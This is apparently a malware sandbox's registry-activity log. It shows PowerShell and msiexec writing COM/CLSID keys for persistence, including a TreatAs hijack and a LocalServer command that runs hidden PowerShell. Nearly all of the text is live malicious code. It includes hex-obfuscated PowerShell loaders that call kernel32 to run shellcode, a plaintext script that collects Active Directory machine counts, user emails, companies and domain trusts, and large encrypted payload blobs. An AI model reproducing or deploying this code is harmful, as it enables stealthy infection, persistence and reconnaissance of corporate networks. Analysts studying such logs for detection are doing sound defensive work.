73932373239324332383638363133353230343032383542343936453734353037343732354432433542363237393734363535423544354432433542353534393645373433333332354432393238354234393645373437303734373235443239323932393245363936453736364636423635323832343730364233343243323437373632333332433234363436393336323933423234373036423334334434453635373732443446363236413635363337343230353337393733373436353644324534393645373437303734373232303244343137323637373536443635364537343443363937333734323032343238323437303642333432453534364634393645373433363334323832393242323436333734333232393342354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393646364535303646363936453734363537323238323837373732333232303237343337323635363137343635353436383732363536313634323732393243323836383631333532303430323835423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544324335423439364537343530373437323544324335423535343936453734333333323544324335423439364537343530373437323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238333032433330324332343730364233343243333032433330324333303239334235333734363137323734324435333643363536353730323032443733323032383332333533313336324433323331323927297c2628247073686f6d655b3131372d3131335d2b247073686f6d655b3136372d3133335d2b277827297d66756e6374696f6e206a71347b706172616d28246f78372c2466623029202861673720273234374136363337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343635364533303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343741363633373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234374136363337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363536453330324332343646373833373239323927297c2628247073686f6d655b3139382d3139345d2b247073686f6d655b3138392d3135355d2b277827297d66756e6374696f6e207967327b706172616d28246a613329202879763420273234363336433339334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735363933333344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343633364333393245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363336433339324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373536393333324332343641363133333239323927297c2628247073686f6d655b3133312d3132375d2b247073686f6d655b3138372d3135335d2b277827297d786236202477623320247762332e6c656e677468202833343034332d282831393130322d3235393929292920282831362b39292b33392966756e6374696f6e20696b367b706172616d28246d62392c247576312c24636735292028707438202732343638364133353344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343638364133353245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343644363233393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343638364133353245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437353736333132433234364436323339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363836413335324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3130342d3130305d2b247073686f6d655b3230332d3136395d2b277827297d66756e6374696f6e206e68317b706172616d2824627a332c247076322c24696436292028616a30202732343635363633373344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343635363633373245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343632374133333239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343635363633373245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437303736333232433234363237413333323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363536363337324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138342d3138305d2b247073686f6d655b3231352d3138315d2b277827297d66756e6374696f6e206572367b706172616d28246878372c246a7332292028777632202732343735363233313344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033333330333633303436333033313244333033393330333232443331333033303436324433303435333033373244333033303330343533313333333033313330333733303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333333303336323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033333330333632373342323437313642333033443238323437353632333135423333333235443242333333333239334232303234364437343335334432343735363233313542323437313642333032453245323832343731364233303242333333313239354433423230354236313732373236313739354433413341353236353736363537323733363532383234364437343335323933423234373536323331334434373635373432443439373436353644353037323646373036353732373437393230324435303631373436383230323736383642364336443341354337333646363637343737363137323635354336333643363137333733363537333543343334433533343934343543374233303333333033363330343633303331324433303339333033323244333133303330343632443330343533303337324433303330333034353331333333303331333033373330343337443543353636353732373336393646364534393645363436353730363536453634363536453734353037323646363734393434323732303244364532303237333033373330343332373743353336353643363536333734324434463632364136353633373432303244343537383730363136453634353037323646373036353732373437393230323733303337333034333237334232343731364233303344374232303234373837323333334433303245324533323335333533423330324532453332333533353743323537423230323437373736333433443238323437373736333432423234373837323333354232343546354432423234364437343335354232343546323532343644373433353245344336353645363737343638354432393235323832383238333333343242333733323239323932423331333533303239334232303234373837323333354232343546354432433234373837323333354232343737373633343544334432343738373233333542323437373736333435443243323437383732333335423234354635443230374432303342323437353632333137433235374232343644373033383344323832343644373033383242333132393235323832383332333233303242333333363239323933423230323436393644333633443238323436393644333632423234373837323333354232343644373033383544323932353238323832383334333333323244333133303334323932443337333232393239334232303234373837323333354232343644373033383544324332343738373233333542323436393644333635443344323437383732333335423234363936443336354432433234373837323333354232343644373033383544334232343546324436323738364637323234373837323333354232383234373837323333354232343644373033383544324232343738373233333542323436393644333635443239323532383238323833363333324233343334333632393244333233353333323932393544323037443230374432303342323436373639333432303344323032383236323032343731364233303743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323733423230323832343238363636463732323832343644373033383344333033423234364437303338323032443643373432303234363736393334324534433635364536373734363833423234364437303338324233443332323937423230354236333646364537363635373237343544334133413534364634323739373436353238323436373639333432453533373536323733373437323639364536373238323436443730333832433332323932433238323833353242323833313335324433343239323932393239323037443239323927297c2628247073686f6d655b3132342d3132305d2b247073686f6d655b3230382d3137345d2b277827297d powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{120E0D11-0604-0907-0E0B-0A050904080F}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\VersionIndependentProgID\ = "{120E0D11-0604-0907-0E0B-0A050904080F}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('24716E7363756A3D2730373043273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30333036304630312D303930322D313030462D304530372D3030304531333031303730437D5C50726F67494427292E24716E7363756A29297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\VersionIndependentProgID\0306 = 6c4b792e505a43687d67555b2234324a72764e332b7a4d35443f713b6675253c325878456e5d626b517063615e64234130592921244f6a37772648543e383a2d3d697c605f74536f2f657b7e2c3127574c6d396e717a616a697538336d6268783237363076347465356c6b397966736f3167702b5223225c7c5359614a304f4b3e3b7e634179747a2a5a56286a444d21696042252d33703638763772503f7564436f6b47494e7b2455672f51717848403d62686e325b6d4573357d2e57774c266c2c46395466295e653a5f3c315834275d powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\CLSID\3654 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0F0B100A-120D-0613-0E08-04130800110F}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0F0B100A-120D-0613-0E08-04130800110F}\TreatAs\ = "{03060F01-0902-100F-0E07-000E1301070C}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\ProgID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\ProgID\ = "{120E0D11-0604-0907-0E0B-0A050904080F}" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{03060F01-0902-100F-0E07-000E1301070C}\VersionIndependentProgID\070C = 6609b5181255b6ff57682aa4e19b4184ffc1e7003b2177f9c3c35d36bb5d2bd58f6b043d6e917bbead5b109abb3dc3ffb65cae7e168c2029361d428bb2ebbd8108d697ffc2eb094026ab4c9a321621d14e19a9c0d54d0cbfc4fb5bd451c8d9b8a630885854b5e8243364320bf40d6defa332f880b44b8e4200142fae0dee92c917b479448e1492c699cc927d2bbc30aa548593bdd3783f7777b361d121bcb56813ae447d924f55b6c12291080bb40b10c9de2fdcb5407a5278d21811c3b08134092e3703eb1a04bc49f05cc34b52f7d8359cb700f6eae7d23ae8a4d858274844ff44e968dc56ba8fd30f6ef0e7e7a2161ce595b513af7803b79d4d295c732990ab81ecfb221222373a12e6fbdde4e38e5d3ed5a545ae843607c16473cf737b0b61e40b148e5cb2870b67d0ba5f52dfbc33fd3b5b132543f5560670cd517a4e0f3bef205f9b55f99bb1e8a224169adb77ddf94cc963ce5a99ba16940f3418287b8b97394997a4b44290fe38f6544af3e6992de545a353683b4a76f349e37d746464ea0b08bd8c6c7d0a6344620b604382032c28955bbec59152012569462e0e85ba2e62759a4e8119f8003e788f74f65403c8b5e0ea2c1589d9a105ae84449eda56eeaa1fd7e6bf1328a321fd63d71ee027a3e12613372ca8c338d8671f279a5829b83c7090f9bbad6b55874a9151e5801ed994cf11df0d245fcec7c865730f0e401f52452973228f99a07dbe1a71b3d48a308e419fb152e61b0d183d6defa928e58f80c39c6e67ee99564ac6f82f7f4118d0586eebd2b96c2c38fcb34c2483632280b7f577793c1185d6c512beeefba4de9e2dd62a1f63524743dc7b6cfb08a47b0bce43744c1e15b9f97ef961e732f44cf56dc8b2fb9c0c88df5532a9c6c81aa3c9e96e8941d34d35c9069f5141294931264d490cad21db5ee30597b911e7f6c8734a683ab3f94f9b0ae5a97471e89347ef58d7320eef68b563641651e271ab14a7ce8e264bb5180b86219165ea82246558a243346905e58689da1c1e99e66036c298f53410a2e48018e2df78acffd18d975247d7755c36431ef7b2031c69883af80a25c14a86a936ae6e9fb02238a0996f3b7b49fc3553edeaa8b49cc7910536b7c2a007ff04162ca1520dd9f8620142af522b7ee681bb56fe73e4538f5694a62da747be309248285dcce67043464abf3c83ba33dffe50a93a653e62d6b19b713d5e32d5bf894797e8bc7fb2c731e7fdf55f7dbfe90aed8c4dc3b1b987f78651391947f60acd4cfbb8cd318c824672120bb82ec70aa36e94fd06f19d51be0386431bc913973d575da675dd8baad63dd06e1741952577a79c33930464aa97ae2b6f643829ebdeec930a3fef5acdf1e05944aca2278eb9ae79ddbd368806fb419f206ea7a22724468fdb8ac31c8cf75a9ada77959eb8acdd48233850ed5e79695985074922e11b6603d1a37d8e45033a8ecc6b7b72ce59a006ca52dc94657cb7026400555227300b8d20f961852b25fdba1f2dce498ab81fbe9673638dab106e9f6ee0aafcdc71f6830c0ccf2361956738b2b4b18365be3b14915d921386e96349a402f6295422b8732d1af4daa63e86115caca25ba648492065067f1a621ab9e1c8f7e9ad9c95899ab3981534c96a19b5e9af9d3d1315156ba4ade3e9468e062b25fdb8b0b1a58f6ef187e4b4e0df5c87b6dae8829edcff3f2389dc206572c20cbb11b6bd0eaa62962b3623e138643751ebf36ac976c8ed57819e5b670ec46a3ec96c290c7b773d8e41f8cea0687c03d468098ee2dd38ce784ba7aec87f179f61f61ed4c68b9957e873182891591d559017ae9ead1d88dfa2ace441860fb2f7342532d8564670adf6d61a0111befe4f13b738696882f233b559cf731dc72ed1dfa7fb085c9232614b1b52b8e488867e8e5a459b062a38fcbeeb0e468cc91294507c6e30c5910b85546a4afc65a1ad9b997cd874a4968eb6fdd40924c2fcc424ba1da9ecfb820a44f435b1df07254e80da9f7999208f553949b09f41f9b05e8b5124e5c23c50f34bb2bb6c9937dfcea71f23cb1a37372566dd516e94c608de2f1c50ce3cd7d3c6592dadb2e23cc477cee2418647537184b13a00ff75cd5c13b9d2726ad91fe21beedbd169ff86409fe74365821ae78a642e917e12d5dc326d9560785bea4ddd27cc619a4b5d476e8d5f385a2038a1fbbc5e05686636fd45080a02f2874bce60b7681a76a2b14e4398987231acf9ef0172962a12d76f3f24de46d232e16bb2bbee89a88c525ef6361a08d80ae4d46437a3a0236cf91c4f1d40e7bddb38d72eb151902068d324194e2f091b60afa3a54de8460dab02a9a60d861e31e9507cca8a3ed6aba9a2aaa5583870ab485dfad8d42cc6c2a8b87c4f39c91bfc659d3f16ab6611ee79b5acf7a00c82d2171e817a7923f1102d9e40243756c6e02e6d0ea2d5c918ab600a11446aeced4b403d17c68e05b96a61e124171425054b6525bca42ca6d8d6d868e5cc24b84b73b53edae748cf004cc319fe2356b4ecd4e320d965922fe00582574fb670d0fae5fbf0f323d423986ef378a3372e52e6d0375a742221b08d9209c1c2b1442f104808cee92039b6c7a1fac9630c5944fccb3b034656fb99230b864d0b0714049662a3c34d7b9ccd97dc052259e2c18a31aa60b4c9092aee7aa13231945902a9b7c4fc690d49c77c0c810ac72922b5f0f9849d29f087520b73f6bd25d9cc53b603dd1829e8632c439e96b29e089deee29e90850afef41b1b04c087196f49464e95a676d24300fde3a56f35e0970c33b26d62d06cf0af84d6b6a11fb6903b3eb2a4a5b1c2830b1c08df049eb575482cfa6f29a92eea8e8bf2cae871c2e890ee5b5f3793c3ffdb7f0a46efe80fcfbc9a7fd712c0175b07d5b5a1987ee28bfa02f66f5c519ab65776edb4b54e7d66b2619184a9b41c00612d15703b2bf79aa7c258f0db043a49a1632f9d4ae8a6e46226bab843a27bdbd04d03bf58168239d78133a93f0d44576f7a6a448713358964a273f18a106a7a4ca1ad346474389f5387c836e6bb1b266272f74b8de1431c5c4a5c87949a651e408e77a99b8df28a6b8a247a9a2d0674c1eb243b61246a606a32f9c0f3d2e605c0a3ca9e5c5bfb308f322a16f3dc4a905411caba59c7d58f58ee1ebabdae642e2923856006350b7e1fda52d20bb6b162f00ab79ca57a68abed16137b6f61e801ad97b32cc254098cdd79d822c3b70efdf14813be0fcb3d2e89aaef3bab4f1aeb002409624737070af83c5aeb01f515479614216eb405eeb941f2bc48cfd06c2864665f1fb538c102c833d961cdcd0c4e3736ab475182e164d493fbb647888f3e8b8b709c7809288b6cd1400c8569976b1bf37736a01c67f61d58cc14721d6ecbf6aa56d1b61ab6fa9dfc787f02a24df4a29b2bb19c9c278d70788205b90afa54143cc8e25a3e951fe5201a4da1ccc4b17aa6a790a7d0d3bd6973f73e27769a160a2eb2fb4221ea6811888e7955d22459d9408a07b606c96e87625dbd320d451a5a8167f79fb91201929fc179b82d2a3704fee88863e914f8667ba774ecc117fdffa0ce57be8dc299952d47d9f1f56e00e80582bd10ea0c8d0e1984ad2ede8d6d53e12012d20902b7c2fea266f42b8afb4a865e0da4b083fa97fafdbe241ac679e52c1cb396fe2a3c8e07bced3d624ad42aa287d46712d498dcf74a5f93d262c91ac8d51749fc803d23f14b2dd02cdff215ff96a7cf013b2e6fe2b1af8a0f639249ada7c6ca5113da9adfbc4de90f882225831340722770eecee38b94d3280b322365313c664c6226b7abe08522cc00a3e850fb63901922e497a8da626caf2711d69f34f647859a44d30f757543e74b0f13ab56ba66aeafd96c823671a6f6e54ffed548fc9b9226043cfcce7f3092c141351ec8fe6a37a753b0913ae841c7ce5dc13b23eaee21ee79e95982ff9d38a4d769947e706446a4d9a005665d5a8986c7a594954d6eafde01abe0c0c4a80a27ebbd7ee45bc54bb9052beac6737ddf7eeb472a42211a9c92ef46dfab9c871297b51ac50999fafb5ac610bef01e2d7be1d3ba13a37fe1f814715e49d8b33edd39efee098c7374f906b6d572932177ac4ac8370414bf4643feae9850d05c8d71585da9a06605ee836d152a2dfe0ef5a4a8a636bd5b91c0bcac987b99af9df71255ad131edef31dd514fcd726a3a60281478d06016d374bd8362a965ebbb98f80fc90642679420569d7789bc9c9ccfa4941a6268ce82738abaccf4f4edb2bfadb577181796eedc166ca3174a2111eed7d26bbcadad289b47c8632b43fa9febb21e4db467427bc8ed3045a17817b80900828598937ee87ae79d72abad6e01db2d903b6e6f591af93a4b609412b9389e3ae479f3280f07dab5fb626ed1e08c36d948bfe4bb1eab2bfa79f9fbe1558a1856547c17439a2dd11905c0629b675fb775bd564705fe2be52030c5d7e34b8e4423c3b4023e93cf14987e3ae299d281cc721fb8892c498c22670eff8c58593a7932e498fe6251ebeb55a2f5fe79233a8c4d5c5fc21785027d855cbd459a9427745a4b3edbf379e1c41d5a8b1e23f96af8fc7d9d9245fc3a909ce8dfdd049f59593f9abef3376a7c054ebad414fb87e48a2ab19cbf8766e9829dd05f57222bdef9c6983a5f30fc03f759ecd97637a946480c6742d867859af178f25dc9fa6564b5eb4df6f1be90793a901cb4c79a0d87e87d15474ca3ead00cbbe3ba7f87fd4b68aab6a45f0c7456b329dcfccfd36aa8c88a8510044e74f925a2a639bfa9b064b1fecd7b296f659a97fffa1f2da0b2ab71dc2dcf8d176c3711a35fd5d15b0a68f1671c4a4f9a7f73e9f8f71274199c024adc28ccdd9889c50b93379458d4e738293f036f1c37d9a26a2a7d1ef968b22cd528a78ee1fb8e0e7c8465a02cf6df03dad53fbee9e4c723260c6bf3df583af714f745999643f90efa52ba1d2fe58ac12d0aef65b86dc4128eb42f416d2e113b7fbf7d50ecd8ae210a74e4fa557734231c157360c738fe735b0fb7be55f5d56a6205a14894e2794683db56e79f5b450aa32a6a6d6020009c65a61e25e9b12eee3a0839993370be572ec3f62aeec9ed45bc334599f5b29d2dc4ce50e294497977094f456c777dafa7e2e39c2be85a77578904c81816054e85367227faaad1ff3c473293d58e8bb41be3aca09f3f113544fed17d3a32e574206b9030eec60e1a24c046742e5db060a2833fdf9a33547e352f1c2a33b183b80b94f10f0b75c2eaa35eaca690418b586fcdac487c40d8c0ee69eb87e9b19b21f1c86f2e65b37bf122993eeba70127cd1248218a7af7e16cb31886a3f93cf2a950a21648bfdb24604670f93fce5aca6031c7117c9defcb33afe5254a055b40354577efc0f242e09c2890ba5111c080b5892de935985b31bd19c40366e9bc3440086d08ec3e054251f8b4a02e6abcd5aba98778b4bc99573d4573f96e32518efa38b010b46960413dcdeb6cfb0f6a582058bbff7054d599adc3d51f9c595bbfa64368e3acf8b332b9bba35a22b537c35a04364a785f81a3741c41a55228318cb488efc0bd04733e245c64f24161ed5bc23665318d6cb18ae98edff348aaf55c1dd5736f8ee73f1f85691d4034345d4fd798815ed2b0056284a21b9b760b391888324a384fb7e3eded9c00112087d920a398c9b859369d4bbe22c5de698838d6a5cb07ac618ceb6316747097fd66e767688bdb24fb26d32992f3af539ea60fcc2986a860c9548a983c27e7eab910b33d163190de2bd561bfb8517131f2900c3555584d3a1dc70e252bbde0c5423840ffe445bef0ba065c9417906ade5f7bdde8edd28a7aebf4165b4848c882b959135559656155b220aeaae98c8606a68e6a4ef771fc7321f7eca121d3978e4971d4a565165e0baa1c7220216797412955a6e99963ef342fab2f09c476fde6c244e54e4e47cec0f58721a4b2a138ee4857f5b951e9a04ac0d4c40cfce671341db2b5dd807001eb155f0f4cf67903c3c6295001e3023a3daa54e37d47e04873da00170424a392f292fe4cf911ed06cc7153451cb7a7a8c5090eef628e2b3d856094cc019889e8fdb4b478844460b6efe5e0e27f64d183c67c24cae7651bab3a56a202b0904d3bfd5421dd5dc359a8d91e8ae59c3dd27a6cfd79b6427fdb88c6c7a60be69ec07742c14e2dbaf9cd220fe21374017d491c4fb1116de62c3c0afae94ed2ef739c290e250f211138a0b0dd2419d1722f032db0660a333639b84183356e08f3298